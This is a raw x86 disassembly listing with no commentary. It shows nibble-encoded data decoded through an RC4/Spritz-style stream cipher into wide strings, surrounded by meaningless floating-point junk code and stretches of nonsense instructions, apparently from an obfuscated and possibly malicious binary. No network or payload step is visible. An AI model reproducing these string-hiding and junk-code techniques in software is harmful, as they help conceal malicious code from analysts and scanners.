addss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x33c4]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34f4]
subss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x3408]
mulss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x33c4]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x33c4], xmm0
mov ecx, dword [ebp - 0x3c3c]
add ecx, dword [ebp - 0x3c48]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b4c], edx
mov dword [ebp - 0x3b50], 0xe6
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c38], ecx
mov edx, dword [ebp - 0x3c3c]
add edx, dword [ebp - 0x3c38]
movzx eax, byte [edx]
mov dword [ebp - 0x3b54], eax
mov dword [ebp - 0x3b58], 0xae
mov ecx, dword [ebp - 0x3b4c]
sub ecx, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], ecx
mov edx, dword [ebp - 0x3b54]
sub edx, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], edx
mov eax, dword [ebp - 0x3b5c]
shl eax, 4
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], ecx
mov edx, dword [ebp - 0x3c34]
or edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], edx
mov al, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32fe], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32a3]
add edx, ecx
mov byte [ebp - 0x32a3], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32a3]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fe]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x32fe]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32f9]
add edx, ecx
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
xor eax, edx
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x32c9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
movzx ecx, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp + edx - 0x5e38]
xor eax, ecx
mov byte [ebp - 0x32a2], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], dl
mov al, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], al
cmp dword [ebp - 0x33b4], 0
jle 0x44d4f9
movsx cx, byte [ebp - 0x336b]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x4e], cx
mov eax, dword [ebp - 0x33b4]
add eax, 1
mov dword [ebp - 0x33b4], eax
mov ecx, dword [ebp - 0x39d8]
add ecx, 1
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x33b4]
shl edx, 1
mov dword [ebp - 0x3c48], edx
mov eax, dword [ebp - 0x3c3c]
add eax, dword [ebp - 0x3c48]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b4c], ecx
mov dword [ebp - 0x3b50], 0xe6
mov edx, dword [ebp - 0x33b4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x3c3c]
add ecx, dword [ebp - 0x3c38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b54], edx
mov dword [ebp - 0x3b58], 0xae
mov eax, dword [ebp - 0x3b4c]
sub eax, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], eax
mov ecx, dword [ebp - 0x3b54]
sub ecx, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], ecx
mov edx, dword [ebp - 0x3b5c]
shl edx, 4
mov dword [ebp - 0x3c34], edx
movss xmm0, dword [0xa6f2f4]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [0xa6f280]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [0xa6f1dc]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [0xa6f144]
movss dword [ebp - 0x43b0], xmm0
movss xmm0, dword [0xa6f094]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [0xa6eff4]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x3a9c]
subss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [ebp - 0x39bc]
mulss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3530]
subss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x3a9c]
subss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3a9c]
comiss xmm0, dword [ebp - 0x39bc]
jbe 0x44d90a
movss xmm0, dword [ebp - 0x39bc]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3630]
addss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3630]
mulss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3a9c]
addss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3530]
addss xmm0, dword [ebp - 0x43b0]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x39bc]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3630]
addss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x3a9c]
addss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [ebp - 0x3a9c]
comiss xmm0, dword [ebp - 0x3530]
jbe 0x44d875
movss xmm0, dword [ebp - 0x3530]
mulss xmm0, dword [ebp - 0x43b0]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x3530]
subss xmm0, dword [ebp - 0x43b0]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x39bc]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x39bc]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x39bc], xmm0
jmp 0x44d905
movss xmm0, dword [ebp - 0x3530]
addss xmm0, dword [ebp - 0x3a9c]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x3630]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x3530]
mulss xmm0, dword [ebp - 0x3a9c]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x3a9c]
mulss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x3a9c], xmm0
movss xmm0, dword [ebp - 0x39bc]
subss xmm0, dword [ebp - 0x3530]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3630]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3630], xmm0
jmp 0x44d9a6
movss xmm0, dword [ebp - 0x3530]
mulss xmm0, dword [ebp - 0x3a9c]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x3530]
subss xmm0, dword [ebp - 0x3a9c]
movss dword [ebp - 0x3530], xmm0
movss xmm0, dword [ebp - 0x34bc]
mulss xmm0, dword [ebp - 0x43b0]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3630]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3630], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x43b0]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x43b0]
subss xmm0, dword [ebp - 0x3630]
movss dword [ebp - 0x43b0], xmm0
mov eax, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], eax
mov ecx, dword [ebp - 0x3c34]
or ecx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], ecx
mov dl, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + eax - 0x5e38]
mov byte [ebp - 0x32fe], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp - 0x32a3]
add ecx, eax
mov byte [ebp - 0x32a3], cl
mov dl, byte [ebp - 0x328a]
add dl, 1
mov byte [ebp - 0x328a], dl
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp - 0x32a3]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp - 0x32a2]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x328a]
mov cl, byte [ebp - 0x32fe]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x32fe]
movzx eax, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp - 0x32f9]
add ecx, eax
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx eax, byte [ebp - 0x328a]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e38]
xor edx, ecx
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx eax, byte [ebp - 0x32c9]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
movzx eax, byte [ebp - 0x32f9]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp + ecx - 0x5e38]
xor edx, eax
mov byte [ebp - 0x32a2], dl
mov cl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], cl
mov dl, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], dl
cmp dword [ebp - 0x33b4], 0
jle 0x44db45
movsx ax, byte [ebp - 0x336b]
mov ecx, dword [ebp - 0x33b4]
mov word [ebp + ecx*2 - 0x4e], ax
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x33b4], edx
mov eax, dword [ebp - 0x39d8]
add eax, 1
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x33b4]
shl ecx, 1
mov dword [ebp - 0x3c48], ecx
mov edx, dword [ebp - 0x3c3c]
add edx, dword [ebp - 0x3c48]
movzx eax, byte [edx]
mov dword [ebp - 0x3b4c], eax
mov dword [ebp - 0x3b50], 0xe6
mov ecx, dword [ebp - 0x33b4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c3c]
add eax, dword [ebp - 0x3c38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b54], ecx
mov dword [ebp - 0x3b58], 0xae
mov edx, dword [ebp - 0x3b4c]
sub edx, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], edx
mov eax, dword [ebp - 0x3b54]
sub eax, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], eax
mov ecx, dword [ebp - 0x3b5c]
shl ecx, 4
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], edx
mov eax, dword [ebp - 0x3c34]
or eax, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], eax
mov cl, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], cl
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + edx - 0x5e38]
mov byte [ebp - 0x32fe], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp - 0x32a3]
add eax, edx
mov byte [ebp - 0x32a3], al
mov cl, byte [ebp - 0x328a]
add cl, 1
mov byte [ebp - 0x328a], cl
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp - 0x32a3]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp - 0x32a2]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x328a]
mov al, byte [ebp - 0x32fe]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x32fe]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp - 0x32f9]
add eax, edx
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp + edx - 0x5e38]
movzx edx, byte [ebp - 0x328a]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5e38]
xor ecx, eax
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp + edx - 0x5e38]
movzx edx, byte [ebp - 0x32c9]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
movzx edx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp + eax - 0x5e38]
xor ecx, edx
mov byte [ebp - 0x32a2], cl
mov al, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], al
mov cl, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], cl
cmp dword [ebp - 0x33b4], 0
jle 0x44dd9b
movsx dx, byte [ebp - 0x336b]
mov eax, dword [ebp - 0x33b4]
mov word [ebp + eax*2 - 0x4e], dx
mov ecx, 2
imul edx, ecx, 6
mov dword [ebp - 0x52b0], edx
cmp dword [ebp - 0x52b0], 0xe
jae 0x44ddb4
jmp 0x44ddb9
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x52b0]
mov word [ebp + ecx - 0x4c], ax
jmp 0x44de19
mov dword [ebp - 0x486c], 0
jmp 0x44dde3
mov edx, dword [ebp - 0x486c]
add edx, 1
mov dword [ebp - 0x486c], edx
cmp dword [ebp - 0x486c], 7
jge 0x44de19
mov eax, dword [ebp - 0x486c]
shl eax, 1
mov dword [ebp - 0x52ac], eax
cmp dword [ebp - 0x52ac], 0xe
jae 0x44de05
jmp 0x44de0a
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x52ac]
mov word [ebp + edx - 0x4c], cx
jmp 0x44ddd4
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4658], eax
mov ecx, dword [ebp - 0x4658]
mov dword [ebp - 0x52a8], ecx
mov edx, dword [ebp - 0x4658]
mov ax, word [edx]
mov word [ebp - 0x4a2e], ax
add dword [ebp - 0x4658], 2
cmp word [ebp - 0x4a2e], 0
jne 0x44de2e
mov ecx, dword [ebp - 0x4658]
sub ecx, dword [ebp - 0x52a8]
mov edx, dword [ebp - 0x52a8]
mov dword [ebp - 0x5f68], edx
mov dword [ebp - 0x5f64], ecx
lea eax, [ebp - 0x978]
add eax, 0xfffffffe
mov dword [ebp - 0x48a8], eax
mov ecx, dword [ebp - 0x48a8]
mov dx, word [ecx + 2]
mov word [ebp - 0x4a2c], dx
add dword [ebp - 0x48a8], 2
cmp word [ebp - 0x4a2c], 0
jne 0x44de7c
mov edi, dword [ebp - 0x48a8]
mov esi, dword [ebp - 0x5f68]
mov eax, dword [ebp - 0x5f64]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x4654], ecx
mov edx, dword [ebp - 0x4654]
mov dword [ebp - 0x52a4], edx
mov eax, dword [ebp - 0x4654]
mov cx, word [eax]
mov word [ebp - 0x4a2a], cx
add dword [ebp - 0x4654], 2
cmp word [ebp - 0x4a2a], 0
jne 0x44ded6
mov edx, dword [ebp - 0x4654]
sub edx, dword [ebp - 0x52a4]
mov eax, dword [ebp - 0x52a4]
mov dword [ebp - 0x5fec], eax
mov dword [ebp - 0x5f60], edx
lea ecx, [ebp - 0x978]
add ecx, 0xfffffffe
mov dword [ebp - 0x48a0], ecx
mov edx, dword [ebp - 0x48a0]
mov ax, word [edx + 2]
mov word [ebp - 0x4a28], ax
add dword [ebp - 0x48a0], 2
cmp word [ebp - 0x4a28], 0
jne 0x44df24
mov edi, dword [ebp - 0x48a0]
mov esi, dword [ebp - 0x5fec]
mov edx, dword [ebp - 0x5f60]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x318c], 0
mov dword [ebp - 0x3190], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46d4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46d4], xmm0
jmp 0x44dfb5
movsd xmm0, qword [ebp - 0x46d4]
addsd xmm0, qword [0xa6e360]
movsd qword [ebp - 0x46d4], xmm0
movsd xmm0, qword [0xa6e888]
comisd xmm0, xmmword [ebp - 0x46d4]
jbe 0x44e066
movsd xmm0, qword [0xa6e658]
mulsd xmm0, qword [ebp - 0x46d4]
mulsd xmm0, qword [ebp - 0x46d4]
movsd xmm1, qword [ebp - 0x46d4]
mulsd xmm1, qword [ebp - 0x46d4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e368]
mulsd xmm1, qword [ebp - 0x46d4]
mulsd xmm1, qword [ebp - 0x46d4]
addsd xmm1, qword [0xa6e488]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47a4]
movsd qword [ebp - 0x47a4], xmm0
movsd xmm0, qword [ebp - 0x47a4]
comisd xmm0, xmmword [0xa6e5a8]
jbe 0x44e061
test al, 0xe5
cmpsb byte [esi], byte es:[edi]
add byte [esi + 0x24], dh
movsd xmm0, qword [0xa6e2b8]
mulsd xmm0, qword [ebp - 0x46d4]
movsd xmm1, qword [ebp - 0x47a4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47a4], xmm1
jmp 0x44df9d
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47a4]
jbe 0x44e0a9
mov ecx, 0xc386ba7e
test dl, al
mov bh, byte [ecx - 0x45824277]
jge 0x44e037
test dword [ebx - 0x457a4078], edi
cmp dword [ebx - 0x41783e7f], 0xc080c283
xchg dword [edx + 0x59], eax
inc ecx
cmp dh, byte [ebp + 0x63]
and al, 0x4d
pop ebp
inc ebp
das
pop ecx
dec ecx
js 0x44e0fa
pop eax
jmp 0x450319
mov dword [ebp - 0x318c], 0x44e073
mov dword [ebp - 0x3190], 0x44e093
mov eax, dword [ebp - 0x318c]
mov dword [ebp - 0x3c24], eax
mov ecx, dword [ebp - 0x3190]
mov dword [ebp - 0x5f5c], ecx
mov byte [ebp - 0x3fdd], 0x15
mov dword [ebp - 0x3874], 0
jmp 0x44e0f7
mov edx, dword [ebp - 0x3874]
add edx, 1
mov dword [ebp - 0x3874], edx
cmp dword [ebp - 0x3874], 0x100
jae 0x44e118
invalid
mov eax, dword [ebp - 0x3874]
mov cl, byte [ebp - 0x3874]
mov byte [ebp + eax - 0x5f38], cl
jmp 0x44e0e8
mov dword [ebp - 0x449c], 0
mov byte [ebp - 0x335a], 0
mov dword [ebp - 0x3874], 0xff
jmp 0x44e144
cmp dword [ebp - 0x3874], 0
jbe 0x44e3b4
mov dword [ebp - 0x498c], 0
mov dword [ebp - 0x489c], 1
mov eax, dword [ebp - 0x489c]
cmp eax, dword [ebp - 0x3874]
jae 0x44e185
mov ecx, dword [ebp - 0x489c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x489c], edx
jmp 0x44e165
mov eax, dword [ebp - 0x449c]
mov dword [ebp - 0x52a0], eax
cmp dword [ebp - 0x52a0], 3
ja case.default.0x44e1a4
mov ecx, dword [ebp - 0x52a0]
jmp dword [ecx*4 + 0x46b5d0]
movzx eax, byte [ebp - 0x335a]
movzx ecx, byte [ebp + eax - 0x5f38]
mov edx, dword [ebp - 0x5f5c]
add edx, dword [ebp - 0x449c]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x335a], cl
mov ecx, dword [ebp - 0x449c]
add ecx, 1
mov dword [ebp - 0x449c], ecx
movzx edx, byte [ebp - 0x3fdd]
cmp dword [ebp - 0x449c], edx
jb 0x44e2cb
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x5f38]
mov byte [ebp - 0x328b], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x5f38]
mov byte [ebp - 0x32a1], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x5f38]
mov byte [ebp - 0x32f6], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x5f38]
mov byte [ebp - 0x32a0], cl
movzx edx, byte [ebp - 0x335a]
mov al, byte [ebp + edx - 0x5f38]
mov byte [ebp - 0x32c8], al
mov dword [ebp - 0x529c], 0x20
cmp dword [ebp - 0x529c], 2
jle 0x4502c5
mov ecx, dword [ebp - 0x529c]
and ecx, 1
jne 0x4502c5
mov dword [ebp - 0x33ac], 0
mov dword [ebp - 0x36bc], 0
mov edx, dword [ebp - 0x36bc]
add edx, 1
mov dword [ebp - 0x36bc], edx
mov dword [ebp - 0x3c28], 0
mov eax, dword [ebp - 0x33ac]
shl eax, 1
mov dword [ebp - 0x3c28], eax
mov dword [ebp - 0x3b68], 0
mov ecx, dword [ebp - 0x3c24]
add ecx, dword [ebp - 0x3c28]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b68]
mov dword [ebp - 0x3b68], edx
mov dword [ebp - 0x3b6c], 0
mov eax, dword [ebp - 0x3b6c]
add eax, 0xb5
mov dword [ebp - 0x3b6c], eax
mov dword [ebp - 0x3c20], 0
mov ecx, dword [ebp - 0x33ac]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c20], edx
mov dword [ebp - 0x3b70], 0
mov eax, dword [ebp - 0x3c24]
add eax, dword [ebp - 0x3c20]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3b70]
mov dword [ebp - 0x3b70], ecx
mov dword [ebp - 0x3b74], 0
mov edx, dword [ebp - 0x3b74]
add edx, 0x7c
mov dword [ebp - 0x3b74], edx
mov dword [ebp - 0x3b78], 0
mov eax, dword [ebp - 0x3b68]
sub eax, dword [ebp - 0x3b6c]
add eax, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b78], eax
mov dword [ebp - 0x3b7c], 0
mov ecx, dword [ebp - 0x3b70]
sub ecx, dword [ebp - 0x3b74]
add ecx, dword [ebp - 0x3b7c]
mov dword [ebp - 0x3b7c], ecx
mov dword [ebp - 0x3c1c], 0
mov edx, dword [ebp - 0x3b78]
shl edx, 4
mov dword [ebp - 0x3c1c], edx
mov dword [ebp - 0x3c18], 0
mov eax, dword [ebp - 0x3b7c]
mov dword [ebp - 0x3c18], eax
mov dword [ebp - 0x3c14], 0
mov ecx, dword [ebp - 0x3c1c]
or ecx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3c14], ecx
mov byte [ebp - 0x32f5], 0
mov dl, byte [ebp - 0x3c14]
mov byte [ebp - 0x32f5], dl
mov byte [ebp - 0x32f7], 0
movzx eax, byte [ebp - 0x32c8]
mov cl, byte [ebp + eax - 0x5f38]
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp + edx - 0x5f38]
movzx ecx, byte [ebp - 0x32a1]
add ecx, eax
mov byte [ebp - 0x32a1], cl
mov dl, byte [ebp - 0x328b]
add dl, 1
mov byte [ebp - 0x328b], dl
movzx eax, byte [ebp - 0x32a1]
movzx ecx, byte [ebp - 0x32c8]
mov dl, byte [ebp + eax - 0x5f38]
mov byte [ebp + ecx - 0x5f38], dl
movzx eax, byte [ebp - 0x32a0]
movzx ecx, byte [ebp - 0x32a1]
mov dl, byte [ebp + eax - 0x5f38]
mov byte [ebp + ecx - 0x5f38], dl
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp - 0x32a0]
mov dl, byte [ebp + eax - 0x5f38]
mov byte [ebp + ecx - 0x5f38], dl
movzx eax, byte [ebp - 0x328b]
mov cl, byte [ebp - 0x32f7]
mov byte [ebp + eax - 0x5f38], cl
movzx edx, byte [ebp - 0x32f7]
movzx eax, byte [ebp + edx - 0x5f38]
movzx ecx, byte [ebp - 0x32f6]
add ecx, eax
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x32f5]
movzx eax, byte [ebp - 0x32a1]
movzx ecx, byte [ebp + eax - 0x5f38]
movzx eax, byte [ebp - 0x328b]
movzx eax, byte [ebp + eax - 0x5f38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5f38]
xor edx, ecx
movzx eax, byte [ebp - 0x32a0]
movzx ecx, byte [ebp + eax - 0x5f38]
movzx eax, byte [ebp - 0x32c8]
movzx eax, byte [ebp + eax - 0x5f38]
add ecx, eax
movzx eax, byte [ebp - 0x32f6]
movzx eax, byte [ebp + eax - 0x5f38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5f38]
movzx eax, byte [ebp + ecx - 0x5f38]
xor edx, eax
mov byte [ebp - 0x32a0], dl
mov cl, byte [ebp - 0x32f5]
mov byte [ebp - 0x32c8], cl
mov dl, byte [ebp - 0x32a0]
mov byte [ebp - 0x336c], dl
cmp dword [ebp - 0x33ac], 0
jle 0x44e742
mov dword [ebp - 0x4894], 0
jmp 0x4502e0
cmp dword [ebp - 0x4894], 0x10
jge 0x450319
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x463c], eax
mov ecx, dword [ebp - 0x463c]
mov dword [ebp - 0x5290], ecx
mov edx, dword [ebp - 0x463c]
mov ax, word [edx]
mov word [ebp - 0x4a26], ax
add dword [ebp - 0x463c], 2
cmp word [ebp - 0x4a26], 0
jne 0x450331
mov ecx, dword [ebp - 0x463c]
sub ecx, dword [ebp - 0x5290]
mov edx, dword [ebp - 0x5290]
mov dword [ebp - 0x5f58], edx
mov dword [ebp - 0x5f54], ecx
lea eax, [ebp - 0x978]
add eax, 0xfffffffe
mov dword [ebp - 0x4890], eax
